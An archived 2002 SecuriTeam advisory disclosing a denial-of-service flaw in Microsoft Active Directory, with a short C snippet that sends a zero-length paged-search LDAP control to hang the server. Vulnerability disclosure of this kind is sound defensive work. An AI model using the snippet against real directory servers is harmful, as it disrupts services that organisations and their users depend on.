

Securiteam: [NT] Microsoft Active Directory Security Vulnerability (Zero Length)

[NT] Microsoft Active Directory Security Vulnerability (Zero Length)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-05/0108.html>

From: support@securiteam.com

Date: 05/26/02

From: support@securiteam.com

To: list@securiteam.com

Date: Sun, 26 May 2002 18:34:17 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

Microsoft Active Directory Security Vulnerability (Zero Length)

SUMMARY

By issuing a specially crafted Active Directory page search query it is possible for an attacker (authenticated, or if anonymous access has been enabled, anonymously) to cause the remote server to hang, effectively causing a denial of service attack.

DETAILS

Recreation:

Adding the following lines of code to the ldapsearch tool (error checking has been omitted):

```
-----  
LDAPControl c;
```

```
LDAPControl *ctrls[2];
```

```
ctrls[0] = &c;
```

```
ctrls[1] = NULL;
```

```
c.ldctl_oid = "1.2.840.113556.1.4.319";
```

```
c.ldctl_value.bv_val = NULL;
```

```
c.ldctl_value.bv_len = 0;
```

```
c.ldctl_iscritical = 0;
```

[NT] Microsoft Active Directory Security Vulnerability (Zero Length)

Securiteam: [NT] Microsoft Active Directory Security Vulnerability (Zero Length)

ldap_set_option(ld,LDAP_OPT_SERVER_CONTROLS,ctrls);

Will cause the Active Directory Server to construct a page search result of length of 0. This will cause Active Directory to hang.

We would guess that Microsoft does not check for a zero value when setting the page size. Thus, in calculating the number of records to return per page, they divide by zero, causing the process to hang.

Note:

That if anonymous queries are DISABLED (which they are on our server), this vulnerability can only be exploited by an authenticated user.

Vendor status:

This bug was reported to Microsoft on 5-13-2002; no response has been received.

Client Summary:

- * SunBlade 1000 running Solaris 8
- * MIT Kerberos V 1.2.5
- * Cyrus SASL 1.5.27
- * OpenLDAP 2.0.23
- * All compiled as 32-bit binaries. See:

<<http://www.bayour.com/LDAPv3-HOWTO.html>>

<http://www.bayour.com/LDAPv3-HOWTO.html> for instructions on compiling OpenLDAP with Kerberos & GSSAPI support.

ADDITIONAL INFORMATION

The information has been provided by <<mailto:jlambers@umich.edu>> Jonathan Lamberson.

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- **Previous message:** support@securiteam.com: "[UNIX] Irssi IRC Found to Contain a Backdoor"
- **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)